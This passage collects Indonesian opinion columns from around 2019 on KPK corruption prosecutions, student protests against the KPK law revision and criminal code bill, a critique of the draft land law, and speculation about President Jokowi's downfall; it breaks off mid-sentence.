Gerakan-gerakan semacam ini hanya bisa terjadi bila ada mobilisasi massa. Ada bandar, dan ada yang menunggangi. Yang tidak mereka pahami, dalam dunia digital, isu-isu semacam itu dengan mudah didesiminasi dan disebarluaskan. Mereka juga dengan cepat berkoordinasi dan membangun gerakan. Aksi 212 adalah contoh lain, betapa isu populis yang menyentuh kepentingan orang banyak, bisa menggerakkan publik dengan sangat mudah dan cepat. Jangan dicari-cari, siapa yang menggerakkan, menjadi bandar, dan siapa yang menungganginya. Tidak akan ketemu. Karena memang tidak ada. Andai saja para orang tua yang curiga ini tak lupa, atau pernah membaca puisi Khalil Gibran. Mereka tidak perlu mengernyitkan kening. Apalagi sampai harus nyinyir. Anakmu, bukanlah milikmu. Anak adalah kehidupan, Mereka sekedar lahir melaluimu tetapi bukan berasal darimu. Walaupun bersamamu tetapi bukan milikmu, Curahkan kasih sayang tetapi bukan memaksakan pikiranmu Karena mereka dikaruniai pikirannya sendiri. End

Tegasnya KPK, Koruptor Koalisi Juga Disikat!

Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Siapa yang tidak kenal dengan Imam Nahrawi? Namanya mulai mencuat sejak menjadi Ketua DPW PKB Jatim. Jejak digital mencatat, Minggu (20/7/2008), bersama PKB kubu Muhaimin Iskandar, ia bersukaria atas kekalahan KH Abdurrahman Wahid. Mereka melakukan syukuran paska kemenangan kubu Imin setelah MA menolak kasasi PKB kubu Gus Dur itu. Ia mencukur gundul rambutnya. Ketika itu, Ketua Dewan Syuro, KH Azis Mansyur sendiri yang memotong rambut Imam. Itulah jejaknya. Setelah 11 tahun aksi gundul itu, Menpora Imam Nahrawi harus menjadi pesakinan dan telah ditetapkan KPK karena diduga menerima gratifikasi senilai Rp 16,5 miliar dari KONI sebagai commitment fee pengurusan pencairan dana hibah Kemenpora. Kasus dugaan tipikor pemberian dana hibah KONI ini telah sampai pada penetapan Menpora Imam Nahrawi sebagai tersangka oleh KPK. Sebelum Imam, KPK telah menjerat lima orang tersangka kasus dana hibah tersebut. Mereka adalah Sekjen KONI Ending Fuad Hamidy, Bendahara Umum KONI Johnny E. Awuy, dua staf Kemenpora yakni Adhi Purnomo dan Eko Triyanto, serta Mantan Deputi IV Bidang Peningkatan Prestasi Olahraga Kemenpora, Mulyana. Ending dan Johnny telah divonis bersalah oleh majelis hakim tipikor. Ending selaku Sekjen KONI dihukum 2 tahun delapan bulan penjara, sementara Johnny sebagai Bendahara Umum KONI divonis penjara 1 tahun delapan bulan. Selain itu, Adhi Purnomo, Eko Triyanto, dan Mulyana juga baru saja menerima vonis majelis hakim di Pengadilan Tipikor Jakarta pada 12 September 2019 lalu. Ini merupakan bukti atas komitmen Presiden Joko Widodo dalam pemberantasan korupsi. Presiden Jokowi tidak ikut campur tangan terkait dengan mitra Parpol Koalisi yang terlibat kasus korupsi. Tanda-tanda Imam bakal menjadi tersangka seusai Sesmenpora Gatot Dewa Broto diperiksa dalam penyelidikan KPK, Jum’at (26/72019). Saat itu Gatot mengaku diperiksa KPK terkait pengelolaan anggaran di Kemenpora. “KPK ingin tahu tentang pola pengelolaan anggaran dan program sepanjang tahun 2014 sampai dengan 2018. Kenapa harus saya? Karena saya sebagai Sesmenpora,” kata Gatot. Alhasil, ungkap KPK, Imam menerima suap dan gratifikasi sebesar Rp 26,5 miliar sepanjang pada 2014 hingga 2018. Isyarat penetapan tersangka kepada Imam sudah mulai tercium sejak KPK tiba-tiba menahan asisten pribadinya, Miftahul Ulum, Rabu (11/9/2019. Saat itu, penetapan tersangka pada Ulum belum diumumkan KPK. Sepekan setelah menahan Ulum, KPK pun akhirnya mengumumkan Ulum dan Imam sebagai tersangka. Imam merupakan menteri Kabinet Kerja jilid I pemerintahan Presiden Jokowi yang dijerat sebagai tersangka. Sebelumnya ada Menteri Sosial Idrus Marham yang dijerat dalam kasus suap PLTU Riau-1. Idrus divonis 5 tahun penjara oleh Pengadilan Tinggi DKI Jakarta. Idrus terbukti menerima suap Rp 2,250 miliar. Uang tersebut diberikan oleh pengusaha sekaligus salah satu pemegang saham Blackgold Natural Resources Limited, Johannes Budisutrisno Kotjo. Dalam kasus ini, Idrus terbukti menerima suap bersama-sama Wakil Ketua Komisi VII DPR Eni Maulani Saragih. Eni merupakan anggota Fraksi Partai Golkar. Baik Eni maupun Idrus adalah sama-sama “orang” Golkar. Imam Nahrawi dari PKB. Kedua parpol itu adalah mitra Parpol Koalisi Jokowi. Sebelumnya, KPK menetapkan Bupati Kotawaringin Timur Supian Hadi, yang juga kader PDIP sebagai tersangka dugaan korupsi dalam proses pemberian izin usaha pertambangan pada 3 perusahaan di lingkungan Pemkab Kotawaringin Timur. “KPK meningkatkan status penanganan perkara ke Penyidikan dan menetapkan SH sebagai tersangka,” ujar Wakil Ketua KPK Laode Muhammad Syarif dalam jumpa pers di Gedung KPK, Kuningan, Jakarta Selatan, seperti dilansir Merdeka.com, Jumat (1/2/2019). Diduga Supian Hadi selama periode 2010-2015 telah merugikan keuangan negara dalam pemberian Izin Usaha Pertambangan (IUP) kepada PT Fajar Mentaya Abadi), PT Billy Indonesia, dan PT. Aries Iron Mining di Kabupaten Kotawaringin Timur. Syarif menjelaskan, Supian saat diangkat menjadi Bupati Kotawaringin Timur periode 2010-2015, langsung mengangkat teman-teman dekatnya yang merupakan tim suksesnya sebagai petinggi di perusahaan-perusahaan itu. Diduga negara dirugikan sekitar Rp 5,8 triliun. Sebelum revisi UU KPK, menurut catatan peniliti ICW Kurnia Ramadhan, catatan lima tahun terakhir, setidaknya ada 23 anggota DPR RI masa bakti 2014-2019 telah ditetapkan sebagai tersangka oleh KPK. Bahkan Ketua DPR Setya Novanto bersama Wakil Ketua DPR Taufik Kurniwan, pun tidak luput dari jerat hukum KPK. Dari 23 kasus korupsi yang melibatkan anggota DPR, delapan diantaranya dari Partai Golkar. Partai berlambang pohon beringin ini penyumbang terbesar dalam kasus korupsi di Senayan. Selanjutnya, tiga PDIP, tiga Demokrat, tiga PAN, dua Hanura, dan masing-masing satu PKS, PKB, PPP, Nasdem. “Perkara yang sedang ditangani KPK banyak melibatkan anggota DPR,” kata Kurnia, seperti dilansir Tirto.id, Minggu, (15/9/2019). Publik tentu masih mengingat salah satu kasus mega korupsi e-KTP. Korupsi itu merupakan hasil kongkalikong banyak pihak; eksekutif, legislatif, maupun swasta. Persekongkolan jahat itu membuat duit negara sebesar Rp 2,3 triliun raib dalam proyek bernilai Rp5,9 triliun. Akibat mega korupsi itu, tiga politisi dijebloskan ke Lapas Sukamiskin; Miryam S. Haryani (Hanura), Markus Nari (Golkar), dan Setya Novanto (Golkar). Dalam pembacaan tuntutan Setnov pada Maret 2018, Jaksa KPK Eva Yustisia mengungkap, terdakwa (Setnov) bersama Djamal Azis, Chairuman Harahap, Markus Nari, dan Akbar Faisal (Anggota Komisi III) melakukan penekanan kepada Miryam agar mencabut BAP saat persidangan Irman dan Sugiharto. Dalam BAP itu, Miryam menjawab secara rinci aliran dana yang mengalir ke anggota DPR. Hal itu menyebabkan para politisi ketakutan. Bahkan, Setnov sempat menjamin Miryam tak akan dipenjara bila mencabut keterangannya tentang korupsi e-KTP. Bujukan Setnov itu akhirnya meyakinkan Miryam untuk mencabut BAP pada 23 Maret 2017. Selain itu, anggota Komisi III DPR yang tersangkut dalam kasus korupsi lainnya, Patrice Rio Capella. Mantan Sekjen Partai NasDem terkait penanganan kasus bansos di Kejaksaan Tinggi Sumut dan Kejaksaan Agung. Akibatnya Rio meringkuk di balik jeruji selama 1,6 tahun, lebih kecil dari tuntutan Jaksa 2 tahun. Rio dianggap terbukti menerima hadiah Rp 200 juta dari Gubernur nonaktif Sumut Gatot Pujo Nugroho (dari PKS) dan istrinya, Evy Susanti. Duit itu diserahkan untuk mengamankan kasus dugaan korupsi dana bansos di Kejaksaan Agung. Tak hanya Rio, anggota Komisi III lainnya yang tersangkut korupsi adalah I Putu Sudiartana dari Partai Demokrat dan mantan Ketum DPP PPP Muhammad Romahurmuziy alias Romy (kasusnya sudah masuk Pengadilan Tipikor Jakarta). I Putu Sudiartana, Wakil Bendahara Partai Demokrat periode 2015-2020, divonis 6 tahun penjara karena terbukti menerima suap dan gratifikasi Rp500 juta terkait rencana proyek pembangunan 12 ruas jalan di Sumatera Barat pada 2016. Sementara, mantan Ketua PPP Romy itu diduga terlibat dalam kasus jual-beli jabatan Kanwil Kemenag Jawa Timur dan Gresik. Kecuali Gatot Pujo Nugroho dan I Putu Sudiartana, para napi, terdakwa, dan tersangka adalah dari Parpol Koalisi Jokowi. Yakni: PDIP, Golkar, NasDem, Hanura, PKB, dan PPP. Jika melihat jejak digital, ada kader Parpol Koalisi Jokowi lain, seperti Mendag Enggarsiasto Lukito (NasDem), Menag Lukman Hakim Sarifuddin (PPP), dan Ketum PKB Muhaimin Iskandar, berpotensi menyusul. Ketegasan pimpinan KPK yang diketuai Agus Rahardjo dan Presiden Jokowi terkait dengan penanganan kasus korupsi yang tanpa pandang bulu itu tentunya patut diapresiasi. Dan, diharapkan pula, pimpinan KPK yang baru juga mengikuti jejaknya. Semoga saja sebelum pelantikan pimpinan KPK yang baru, Agus Rahardjo sudah mengeksekusi tiga nama terakhir yang disebut di atas tersebut. Bravo KPK!

Mahasiswa, Ternyata Kalian Murni dan Serius

Dalam sejarah politik Indonesia, mahasiswa telah membuktikan dirinya sebagai komponen yang sangat menentukan. Itulah sebabnya para penguasa sepanjang zaman selalu memperhitungkan eksistensi mahasiswa. Dan itulah pula sebabnya ada penguasa yang berusaha agar mahasiswa tidak ikut dalam hiruk-pikuk perpolitikan. Sebab, mahasiswa dianggap sebagai penghambat tujuan busuk mereka. By Asyari Usman Jakarta, FNN - Dalam tulisan kemarin, saya merasa agak ragu terhadap derap langkah para mahasiswa yang berunjuk rasa di Jakarta dan berbagai kota lainnya. Ternyata kalian murni prihatin melihat kondisi negara. Alhamdulillah, kalian bukan mahasiswa hasil kooptasi. Bukan mahasiswa bayaran. Kalian murni terpanggil untuk ikut melakukan perbaikan. Setelah mengamati kronologi sejumlah unjuk rasa (unras), saya sekarang berkeyakinan bahwa para mahasiswa Indonesia telah menyadari posisi mereka sebagai ahli waris negara ini. Sebagai ahli waris, tentu mereka mempunyai kewajiban dan hak atas Indonesia. Mereka wajib mengawal dan mempertahankan negara ini. Sebaliknya, mereka berhak mengetahui apa-apa saja yang dilakukan oleh pemerintah dalam mengelola negara ini. Mereka juga berhak menyampaikan protes terhadap kesewenangan para penguasa. Mahasiswa adalah komponen bangsa yang paling relevan mempertanyakan kebijakan-kebijakan penguasa. Pertama, karena mereka adalah orang-orang yang memiliki intelektaulitas yang cukup untuk mengamati dan menafsirkan langkah-langkah yang ditempuh oleh para penguasa. Kedua, mereka adalah generasi penerus yang akan melanjutkan pengelolaan negeri ini. Para mahasiswa memikul tanggung jawab moral untuk mewakili rakyat. Mereka adalah segmen bangsa yang memiliki banyak kelebihan untuk mengambil posisi sentral dalam setiap proses politik. Mereka memiliki ketajaman berpikir dan stamina fisik yang prima. Dua hal ini sangat diperlukan dalam menghadapi kesewenangan para penguasa. Baik itu kesewenangan eksekutif maupun kesewenangan legislatif Dalam sejarah politik Indonesia, mahasiswa telah membuktikan dirinya sebagai komponen yang sangat menentukan. Itulah sebabnya para penguasa sepanjang zaman selalu memperhitungkan eksistensi mahasiswa. Dan itulah pula sebabnya ada penguasa yang berusaha agar mahasiswa tidak ikut dalam hiruk-pikuk perpolitikan. Sebab, mahasiswa dianggap sebagai penghambat tujuan busuk mereka. Ada penguasa yang mencoba membungkam mahasiswa melalui berbagai cara. Misalnya, dengan siasat akademik. Mahasiswa diwajibkan ini dan itu supaya tak sempat mengamati cara negara ini dikelola. Ada juga yang mencoba memanjakan mahasiswa dengan berbagai stimulus. Tapi, kodrat alami mahasiswa tak bisa dibendung. Mereka adalah anak-anak muda yang sedang membina kapasitas intelektulitas. Pembinaan intelektualitas inilah yang kemudian membawa mahasiswa sampai ke ruang sosial dan politik. Dari sinilah mereka memulai pengamatan sosial-politik. Belakangan ini, mahasiswa kelihatannya mendeteksi sesuatu yang aneh terkait dengan pengelolaan negara. Naluri sosial-politik mereka bekerja. Mereka tersentak oleh sengatan kesewenangan penguasa. Sebagai contoh, mereka pun melihat keganjilan dalam proses revisi UU tentang KPK. Publik non-mahasiswa lebih dulu menilai bahwa revisi itu akan menghasilkan pelemahan lembaga antikorupsi itu. Para mahasiswa sepakat dengan temuan publik. Kalangan mahasiswa terkoneksi dengan suasana penentangan revisi UU KPK itu. Mereka juga sependapat bahwa langkah Presiden Jokowi menyetujui pelemahan KPK itu adalah tindakan yang melawan aspirasi rakyat. Restu Jokowi itu frontal dengan upaya pemberantasan korupsi yang selama ini menjadi musuh keadilan dan kesejahteraan. Keikutsertaan mahasiswa dalam sepekan ini di arena gelar aspirasi tentulah akan memperkuat upaya untuk meluruskan cara berpikir para penguasa. Bahkan, mahasiswa sangat diharapkan menjadi pemeran utama dalam rangkaian koreksi terhadap kekeliruan penguasa. Sebab, bangsa dan negara ini adalah warisan untuk mereka. Mahasiswa berhak memantau dan memastikan agar negara ini tidak dikelola sesuka hati oleh para penguasa. Sebab, para mahasiswalah yang nantinya akan merasakan dampak buruk jika negara dikelola secara semberono. Mari kita berikan dukungan penuh kepada para mahasiswa. Mereka kini terpanggil untuk ikut menyelamatkan negara ini dari kesewenangan para penguasa. Kepada aparat keamanan kita meminta supaya tidak berlebihan dalam menghadapi para mahasiswa yang hanya ingin menyampaikan aspirasi mereka. Mereka bukan musuh negara. Kita doakan agar perjuangan untuk menjaga kedaulatan negara dan menegakkan keadilan, tidak terlalu berat. Amin, Allahumma amin! Penulis adalah Wartawan Senior

RUU Pertanahan Adalah RUU Perampasan Hak Pribadi

Pada titik itu sulit betul untuk tidak mengualifikasi rumusan pasal-pasal yang disebut di atas sebagai “sarana, cara merampas hak orang secara sah". Kapitalis mungkin susah untuk tidak menari-nari dengan pasal-pasal perampasan ini. Kapitalis manapun, dulu dan sekarang tidak mungkin tidak menyambut pasal-pasal ini dengan karpet merah sebagai berkah terencana rule of law. Oleh Margarito Kamis Jakarta, FNN - Rancangan UU Pertanahan (RUU Pertanahan) dilihat dari sudut konstitusi merupakan RUU yang buruk sekali. Nalar dibalik sejumlah pasal (rancangan) cukup jelas sangat primitif. Mereflesikan logika tipikal perencanaan sosial ekonomi yang umumnya para kapitalis. Memutarbalikan konsep rule of law. Ini manipulatif. Ada dua sebab pada level konseptual yang menunjukan RUU ini manipulatif. Pertama, RUU ini hendak disodorkan pada level tertentu sebagai sarana rekayasa social. Targetnya, menciptakan tatanan hukum pertanahan yang lebih adaptif dengan perkembangan zaman. Tetapi jalan fikiran ini terlihat tidak lebih hanya sebagai cover politik. Mengapa begitu? Karena sejumlah pasal dalam RUU ini cukup jelas terlihat menyimpang dari prinsip-prinsip hak dalam UUD 1945. Begini logikanya. UUD mengakui hak bagi setiap orang. Hak ini terbagi ke dalam dua kategori besar. Kedua, kategori itu adalah hak yang bersifat alamiah dan hak diberikan oleh undang-undang. Hak yang bersifat alamiah, misalnya hak untuk memperoleh keturunan melalui keturunan yang sah. Hak untuk hidup, tidak disiksa dan lainnya. Hak ini tidak bisa dicabut oleh siapapun. Berbeda dengan hak alamiah, adalah hak yang dinyatakan ada karena diberikan oleh undang-undang. Biasanya disebut dengan hak yang bersifat parsial. Karena sifatnya sebagai hak yang parsial itu, maka hak ini oleh UUD dikualifikasi sebagai hak yang dapat dicabut. Menurut UUD 1945, pencabutan atau pembatasan atas hak ini hanya bisa dilakukan bila diatur dalam undang-undang. Pada titik ini muncul sebab kedua, yaitu orang-rang yang menandai Rancangan Undang-Undang (RUU) adalah ini buruk seburuknya manusia. Bahkan sanagt berbahaya. Bagaimana logikanya? Logikanya adalah karena hak hanya bisa dicabut dengan menggunakan undang-undang, maka buatlah undang-undang sebagai dasar untuk pencabutan atas hak itu. Jalan fikiran inilah yang ada dibalik sejumah pasal dalam RUU Pertanahan sekarang. Fakta inilah yang mungkin menjadi sebab tambahan protes dari mahasiswa . Ini Bentuknya Pasal 48 ayat (8) dalam RUU Pertanahan, sejauh yang tersebar di beberapa media berisi ketentuan: Masyarakat berhak mendapatkan informasi publik mengenai data pertanahan, kecuali informasi yang dikecualikan sesuai peraturan perundangan. Kelak bila pasal ini disahkan, maka muncul masalah hukum. Masalahnya adalah “informasi” jenis apa, yang dikecualikan? Nama pemegang hak seperti apa yang dikecualikan? Hak apa yang dikecualikan? Hak guna usaha seperti apa yang dikecualikan? Tidakkah hak guna usaha itulah yang saat ini muncul sebagai masalah terebesar dalam dunia penguasaan tanah? Sejauh ini hak guna usaha hanya diberikan kepada perorangan dan korporasi yang berusaha dibidang pertanian dan perkebunan. Selalu begitu dalam sejarahnya. Usaha perkebunan berada di atas lahan dalam jumlah puluhan ribu hektar. Umumnya pemegang hak ini adalah perserorangan yang berduit besar. Praktis mereka adalah pengusaha berskala besar. Norma itu memberikan pilihan kepada pemerintah untuk membuat kebijakan. Kelak setelah disahkan pemerintah, dengan kewenangan yang diberikan undang-undang membuat dapat peraturan yang mengecualikan hak guna usaha. Pengecualian itu termasuk pemegang hak guna usaha sebagai informasi yang dikecualikan. Mereka, dengan demikian terlindungi, dalam makna mendapatkan privilege hukum untuk tidak diketahui orang. Kebijakan ini jelas sangat buruk dan primitif. Pasal 95 RUU Pertanahan ini seperti yang telah beredar di media berisi rumusan: “Setiap orang, baik sendiri-sendiri atau bersama-sama melakukan atau membantu melakukan permufakatan jahat yang mengakibatkan sengketa atau konflik pertanahan dipidana dengan pidana penjara paling singkat 5 (lima) tahun serta denda sebanyak-banyaknya 15.000.000(lima belas juta rupiah)”. Betul rumusan ini bersifat materil (delik materil). Delik yang dalam ilmu hukum dianggap telah ada sebagai perbuatan jahat bila akibat yang dilarang telah terjadi. Betul itu. Akibat yang dilarang dalam pasal ini adalah “sengketa atau konflik.” Tetapi apa yang dimaksud dengan “permufakatan jahat” dan apa yang dimaksud dengan “sengketa atau konflik.” Sanbgat tidak jelas dan karet tafsirannya. Ketidak jelasan norma-norma itu menjadi ketukan lembut untuk setiap penegak hukum merumuskan sendiri setiap peristiwa sebagai “permufakatan.” Tidak itu saja. Mereka juga dapat merumuskan sendiri setiap peristiwa untuk dikategori sebagai akibat permufakatan itu. Akibat itu apakah berupa sengketa atau konflik? Bahkan setiap persitiwa dapat dikategori “sengketa atau konflik” berdasarkan defenisi bikinan sendiri penegak hukum. Inilah yang sangat berbahaya sekali. Seharusnya dirumuskan secara jelas keadaan-keadaan yang dikategori sebagai sengketa dan atau konflik. Seharusnya pula dirumuskan secara jelas peristiwa-peristiwa yang dikategori sebagai “sengketa dan atau konflik. Rumusan yang jelas adalah cara hukum mencegah penyalahgunaan wewenang. Mereka para penegak hukum, dengan rumusan hukum yang jelas dan tegas, dipaksa untuk tidak menggunakan interpretasi sendiri yang sangat subjetif. Rumusan-rumusan di atas jelas berbahaya. Namun masih ada rumusan berikut ini jauh lebih berbahaya. Pasal 91 sejauh yang telah beredar, berisi ketentuan: “pemilik tanah yang menolak atau setiap orang yang menghalangi aparatur penegak hukum bidang pertanahan pada bidang tanahnya sebagaimana dimaksud pada pasal 10 ayat (4) huruf c dipidana paling lama 2 (dua) tahun serta denda Rp. 5.000. 000., (lima juta) rupiah”. Pasal ini jelas lebih berbahaya dari undang-undang yang dibuat untuk melegalkan pekentingan kekuasaan pejajah. Atau mungkin juga sebaliknya. Ada diantara penguasa pejajah yang bisa saja tidak menghendaki pasal-pasal seperti ini dalam produk undang-undang yang dibuat pejajah. Pasal ini sepertiunya terlihat hendak melindungi pemilik tanah. Tetapi tidak dalam prinsipnya. Mengapa? Untuk memperjelasnya, saya mengajukan satu kasus hipotetik. Kasusnya beini, “dalam hal seorang pengusaha hendak menguasai tanah dengan hak guna usaha (HGU) yang biasanya selalu luas, lalu tanah yang hendak dikuasainya itu meliputi bidang tanah yang telah dikuasai orang lain, maka orang yang bidang tanahnya tercakup dalam rencana HGU itu tidak dapat mempertahankannya”. Pengukuran atau penyelidikan atas luas tanah oleh aparatur pertanahan itu tidak dapat dicegah. Bila dicegah, apapun argumen yang digunakan, tindakan pencegahan itu tetap dikategori secara hukum sebagai tindakan menghalangi. Bisa dihukum minimal lima tahun. Hebat sekali kan ? Merampas Hak Pada titik itu sulit betul untuk tidak mengualifikasi rumusan pasal-pasal yang disebut di atas sebagai “sarana, cara merampas hak orang secara sah". Kapitalis mungkin susah untuk tidak menari-nari dengan pasal-pasal perampasan ini. Kapitalis manapun, dulu dan sekarang tidak mungkin tidak menyambut pasal-pasal ini dengan karpet merah sebagai berkah terencana rule of law. Dunia ilmu hukum memberitahukan kita bahwa kapitalis biasanya mengandalkan hukum sebagai alat untuk merampas hak orang, melipatgandakan hak, melipatgandakan asset, memperluas pasar dan memproteksi pasar. Kapitalis-kapitalis rakus dan tamak ini, dalam sejarahnya, selalu begitu. Mereka, sekali lagi, selalu memanggil hukum untuk menjaga, memburu dalam semangat mengonsetrasikan setiap jengkal sumberdaya ekonomi. Kapitalis tamak cukup cerdas membungkam penentang mereka dengan argumen rule of law dan demokrasi. Rule of law dan demokrasi diandalkan sebagai tatanan yang memungkinkan, memanggil siapa saja yang tumbuh dan menjadi sejahtera. Rule of law, selalu dalam pandangan saya, adalah konsep indah dan berkelas pada level kulit. Itu karena substansinya dapat dituliskan dengan berbagai macam gagasan. Satu dan lainnya tak beriringan dengan nilai-nilai dasar sebuah masyarakat. Hukum karena isinya selalu dapat ditulis sesuka hati oleh para perencana sosial dan ekonomi. Maka hukum juga dapat digunakan, dalam semangat merampas, mengalihkan kekayaan orang kaya ke orang miskin. Caranya, adalah dengan memperkenalkan program jaringan pengaman sosial, bahkan subsidi. Cara ini yang ditandai Frederick Bastiat, ekonom Prancis abad ke-19 yang ditahbiskan sebagai ekonom pembela tanpa batas terhadap pasar bebas. Dalam posisi itu, Frederick terang-terangan dan lantang mengeritik penggunaan hukum yang membenarkan proteksi dan subsidi. Baginya proteksi dan subsidi adalah cara perampasan hak orang kaya untuk dialihkan ke orang miskin. Cara ini tidak masuk akal. Menurutnya, cara yang tepat adalah membiarkan semua orang bebas dalam setiap usahanya. Dalam kecakapannya mengeritik hukum, Fredericl menandai hukum telah terlalu sering digunakan melampaui fungsi alamiahnya. Tetapi apapun itu, pembatalan pengesahan RUU Pertanahan harus disambut gembira. Andai saja tidak dibatalkan, maka RUU itu sepenuhnya berfungsi sebagai sarana perampasan hak. Itu karena tabiat politik yang tersedia ditengah kehidupan politik yang sepenuhnya elitis, tidak bakal menempatkan kapitalis sebagai korban utama RUU in. Pembatalan pengesahan RUU ini disisi lain terlihat sebagai keberhasilan paling nyata, walau mungkin tak disadari, bahwa tipuan halus rule of law berhasil dikenali dan dihentikan

Nasib Jokowi Akan Seperti Sukarno dan Soeharto, Tumbang!

Rancangan UU KPK tampak sangat jelas digeber untuk mengejar setoran. Pengesahannya undang-undang seperti kejar tayang saja. Malah bisa dilang, kerja DPR seperti maling yang dikerjar hansip. Mana mungkin lembaga legislatif yang tinggal memiliki masa dinas tiga minggu bisa obyektif membahas sebuah produk perundang-undangan. Oleh Dimas Huda Akhirnya mahasiswa turun juga. Gerakan mahasiswa ini kali diharapkan dapat meredam sikap ugal-ugalan politisi di Senayan, juga Istana. Gerakan-gerakan lain boleh disepelekan, tapi jangan menganggap enteng gerakan mahasiswa. Mengabaikan gerakan yang diinisiasi kelompok intelektual muda sama saja dengan bunuh diri. Kini, gelombang demo mahasiswa kian massif. Mereka menolak pemberlakuan Undang-Undang Komisi Pemberantasan Korupsi atau UU KPK. Mahasiswa juga menolah materi Rancangan Kitab Undang-Undang Hukum Pidana atau (RKUHP). Tentang UU KPK baru mereka menilai, hanya mengebiri kekuatan KPK dalam memberantas korupsi. Sedangkan RKUHP dinilai terlampau dalam merecoki hak sipil. Selain itu, kembali menghidupkan pasal ancaman hukuman terhadap presiden yang merupakan warisan kolonial. Sejarah membuktikan, pada tahun 1966 gerakan mahasiswa sukses menumbangkan Presiden Sukarno. Demikian halnya pada 1998, mahasiswa yang menduduki gedung DPR berhasil menggulingkan Presiden Soeharto dari singgasana yang sudah didudukinya selama 32 tahun. Mangacu pada fakta itu, jangan sekali-sekali mengabaikan gerakan mahasiswa. Tak berlebihan jika suara mahasiswa diidentikkan dengan suara rakyat. Jika para calon pemimpin masa depan sudah bersuara, tentu karena hati nurani rakyat sudah terusik. Korupsi yang marak sejak era Orde Baru terus berlangsung hingga hari ini. Dan hingga kini hanya KPK satu-satunya lembaga penegak hukum yang mendapat tempat di hari masyarakat untuk menegakkan keadilan. Maka, begitu institusi pimpinan Agus Rahardjo dilemahkan, pantaslah sdaja jika mahasiswa menggelar aksi demo di berbagai kota besar. Kejar Setoran Terlebih Rancangan UU KPK tampak sangat jelas digeber untuk mengejar setoran. Pengesahannya undang-undang seperti kejar tayang saja. Malah bisa dilang, kerja DPR seperti maling yang dikerjar hansip. Mana mungkin lembaga legislatif yang tinggal memiliki masa dinas tiga minggu bisa obyektif membahas sebuah produk perundang-undangan. Saat mengirim surat presiden menyetujui pembahasan RUU KPK, Presiden Joko Widodo sebenarnya punya waktu 40 hari untuk membahas dan meneliti materi bakal produk hukum itu. Tapi rupanya desakan dari parpol pendukung maupun parpol yang menjadi lawannya di pemilu lalu lebih didengar. Parpol memang punya kepentingan paling pekat di RUU KPK. Sepanjang 2004-2019 tercatat 255 anggota DPR dan DPRD masuk penjara lantaran korupsi. Ini angka kelompok koruptor paling tinggi dibandingkan birokrat, penegak hukum dan direksi BUMN. KPK juga makin tak pandang bulu. Sejumlah ketua partai politik dicokok. Kini setidaknya sudah ada lima ketum parpol yang diantar KPK menghuni hotel prodeo. Paling mutakhir tentulah Ketua Umum PPP Romahurmuziy. Ia diciduk KPK di Surabaya, Jumat (15/3). Pria yang kerap disapa Romy itu diamankan atas dugaan suap jual beli jabatan di Kementerian Agama. Pimpinan partai politik pertama yang diciduk KPK adalah Luthfi Hasan Ishaaq. Anggota DPR sekaligus Presiden PKS periode 2009-2014 ini diciduk oleh petugas KPK pada Rabu, 30 Januari 2013. Luthfi ditetapkan sebagai tersangka atas kasus suap pemberian rekomendasi kuota impor daging kepada Kementerian Pertanian. Atas perbuatannya, Luthfi digancar dengan vonis hukuman 16 tahun penjara dan denda sebesar Rp1 miliar. Pasien KPK selanjutnya, Anas Urbaningrum. Ketua Umum Partai Demokrat ini ditetapkan sebagai tersangka pada Jumat, 22 Februari 2013. Anas terlibat dalam kasus korupsi dan pencucian uang proyek pembangun GOR Hambalang. Anas divonis 8 tahun penjara dan denda Rp300 juta subside 3 bulan kurungan penjara. Bos partai selanjutnya Suryadharma Ali. Ketua Umum PPP ini ditetapkan sebagai tersangka kasus korupsi dana haji. Politisi yang juga menjadi Menteri Agama itu divonis 6 tahun penjara dan denda Rp330 juta subside 2 bulan kurungan. Usai melakukan banding, masa tahanan Suryadharma justru diperberat menjadi 10 tahun penjara. Selanjutnya Setya Novanto. Ketua Umum Golkar ini ditetapkan sebagai tersangka atas kasus korupsi e-KTP. Mantan Ketua DPR ini divonis menjalani hukumn 15 tahun penjara dan denda Rp500 juta subside 3 bulan kurungan. Ranah Sipil Keberpihakan pemerintah dan para “wakil rakyat” terhadap koruptor kian nyata dengan RUU Pemasyarakatan yang menyusul segera disahkan. Revisi atas UU Pemasyarakatan usul inisiatif DPR mempermudah bebas bersyarat dan remisi koruptor. RKUHP setali tiga uang. Pemerintah memperlakukan calon perangkat hukum maha penting ini sama dengan RUU KPK. Tak meneliti secara mendalam materi yang diaturnya. Padahal banyak pasal yang mengusik ranah sipil diatur RUU itu. Salah satunya lurah bisa mengambil sanksi berdasarkan hukum adat terhadap pasangan non suami isteri. Tak kalah pentingnya pasal tentang penghinaan presiden. Pasal ini asli warisan kolonial dan sejatinya sudah dihapus oleh putusan Mahkamah Konstitusi. Dihidupkannya pasal ini memicu kecurigaan pemerintah akan bertindak represif terhadap yang mengkritik kebijakan presiden. Belum lagi dengan diaturnya tindak pidana korupsi di RUU ini, otomatis melucuti sifat kejahatan luar biasa yang diatur oleh UU Tipikor. Saatnya pemerintah waspada. Mahasiswa sudah bergerak. Suara mahasiswa adalah suara rakyat. Tak perlu mengulang nasib tragis presiden sebelumnya: Sukarno dan Soeharto. Penulis adalah Wartawan Senior

Mungkinkah Jokowi Lengser Melalui Gerakan Mahasiswa ?

Penderitaan masyarakat itu dimulai dari harga-harga kebutuhan pokok yang melonjak. Pemaksaan dalam pelaksanaan pembayaran iuran BPJS. Ada juga bencana asap di Sumatera dan Kalimantan yang berasal dari kebakaran hutan dan lahan (Karhutla) yang tidak bisa ditangani secara efektif. Selain itu, kerusuhan di Papua yang kerap meletus yang diakibatkan adanya diskriminasi. Oleh Tjahja Gunawan Jakarta, FNN - Pelantikan Jokowi dan Ma'ruf Amin tinggal beberapa saat lagi. Jika tidak ada halangan dan perubahan mereka akan dilantik menjadi Presiden dan Wakil Presiden pada tanggal 20 Oktober 2019. Namun apakah gelombang aksi unjuk rasa yang terjadi di berbagai daerah dalam beberapa hari terakhir ini, bisa menggagalkan pelantikan Jokowi-Ma'ruf hingga memakzulkan (impeach) Presiden? Banyak kalangan meyakini bahwa reformasi kembali akan terulang. Ya namanya Reformasi Jilid II. Sama halnya seperti peristiwa bulan Mei 1998, pada Reformasi Jilid II juga tidak mustahil akan mampu melengserkan Jokowi dari kursi Presiden. Suasana sekarang ini persis seperti situasi kondisi tahun 1998 menjelang lengsernya rezim Orde Baru. Maraknya aksi demo di berbagai daerah di Tanah Air, menyebabkan kalangan elite Istana kalang kabu dan mendadak mengadakan rapat. Akhirnya bulan Mei 1998, rezim Soeharto yang sudah berkuasa selama 32 tahun tumbang juga dirobohkan oleh 